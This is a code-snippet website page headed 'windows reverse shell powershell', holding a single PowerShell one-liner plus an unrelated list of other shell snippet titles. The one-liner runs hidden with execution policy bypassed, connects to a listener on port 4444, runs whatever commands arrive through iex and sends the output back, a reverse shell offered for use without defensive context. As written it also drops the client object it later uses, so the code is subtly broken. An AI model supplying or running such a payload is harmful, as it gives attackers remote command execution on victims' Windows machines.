Search
 
SCRIPT & CODE EXAMPLE
 

SHELL

windows reverse shell powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$s=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2=$sb+"PS "+(pwd).Path+"> ";$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()
Comment

PREVIOUS NEXT
Code Example
Shell :: git view changes in commit 
Shell :: install dvipng ubuntu 
Shell :: get new instagram posts by hashtag 
Shell :: git remove file from untracked 
Shell :: minimize on click in ubuntu dock 
Shell :: docker install ubuntu 20 
Shell :: how to delete branch github 
Shell :: functions in linux 
Shell :: git flow hotfix 
Shell :: square root in bash script 
Shell :: delete git branch from remote 
Shell :: how to go back to the last directory in linux 
Shell :: git checkout commit 
Shell :: install brew on raspberry pi 
Shell :: microsoft store installation location 
Shell :: how to install postgresql 
Shell :: postgresql cli first time 
Shell :: access wsl filesystem from windows 
Shell :: stop git from tracking a folder 
Shell :: make multiple directories with a single command on windows 
Shell :: install brew on mac m1 
Shell :: add-apt-repository remove 
Shell :: rm directory not empty mac 
Shell :: git checkout head 
Shell :: latest dart sdk version 
Shell :: how to install curl on macos 
Shell :: firewall-cmd add service 
Shell :: django install pathlib 
Shell :: how to install git in ubuntu ? 
Shell :: kill pid 
ADD CONTENT
Topic
Content
Source link
Name
2+3 =